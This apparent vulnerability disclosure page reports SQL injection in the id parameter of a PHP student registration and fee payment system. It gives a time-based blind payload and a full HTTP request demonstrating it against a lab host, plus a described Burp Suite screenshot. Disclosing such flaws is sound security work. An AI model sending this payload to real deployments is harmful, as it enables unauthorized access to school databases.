

main ▾

...

[0525](#) / [student-registration-and-fee-payment-system](#) / [sql.md](#)

mikeccltt Update sql.md

[History](#)

1 contributor

30 lines (19 sloc) | 1.07 KB

...

# student-registration-and-fee-payment-system v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php/15355/student-registration-and-fee-payment-system-php-mysql.html>

Date: 2022-05-07

Vulnerability File: /scms/student.php

Vulnerability location: /scms/student.php, id

[+] Payload: 5'and(select\*from(select+sleep(3))a//union//select+1)='

Tested on Windows 10, XAMPP

```
GET http://192.168.2.102/scms/student.php?
action=delete&id=5'and(select*from(select+sleep(3))a/**/union/**/select+1)='
HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
```

Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2

Connection: close

Referer: http://192.168.2.102/scms/student.php?act=2

Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

Upgrade-Insecure-Requests: 1

The screenshot displays a web application interface on the left and a Burp Suite HTTP history window on the right.

**Web Application Interface:**

- Header:** FEES MANAGEMENT
- Left Sidebar:** Administrator, Dashboard, Student Management, In-Active Students, Grade Levels, Fees Section, Report Section, Account Setting, Logout.
- Main Content:** Manage Students. A green message box states: "Student record has been updated!". Below is a "Manage Student" form and a table of student records.

**Table of Student Records:**

#	Name	Contact	Grade	Joined On	Fees
1	756989950		11	14 Feb 20	3600
2	Andrew Arnette	352020006	12	26 Mar 21	5200
3	Jonathan Odell	4230001205	8	11 Oct 19	6900
4	Benjamin L Russell	9012568500	3	01 Apr 21	3600
5	Kathryn McKeenhan	879259006	10	01 Apr 21	5000
6	David Anderson	7412036660	7	01 Apr 18	7900
7	Joannh Tsaylor	9031480360	12	06 Apr 19	6100
8	Kevin Rogers	9031476969	11	18 Apr 21	5500
9	1166 Phobos		9	09 Nov 19	9800

**Burp Suite HTTP History Window:**

- Filter:** Hiding CSS, image and general binary content
- Table:** Lists HTTP requests with columns: #, Host, Method, URL, Params, Edited, Status, Length, MIME type, Extension, Title.
- Selected Request (156):** POST http://192.168.2.102/scms/student.php
- Request Details:**
  - Host: 192.168.2.102
  - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
  - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
  - Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
  - Content-Type: application/x-www-form-urlencoded
  - Content-Length: 175
  - Origin: http://192.168.2.102
  - Connection: close
  - Referer: http://192.168.2.102/scms/student.php?action=edit&id=5
  - Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
  - Upgrade-Insecure-Requests: 1
  - Body: name=13C5cR1Pt3Eaier4t2B1293C37aCrIp7V3E&contact=756989950&grade=11&joindate=2020-02-14&about=Demo+about+Text+em&id=chrjntlnemoore4d@gmail.com&id=5&action=update&save=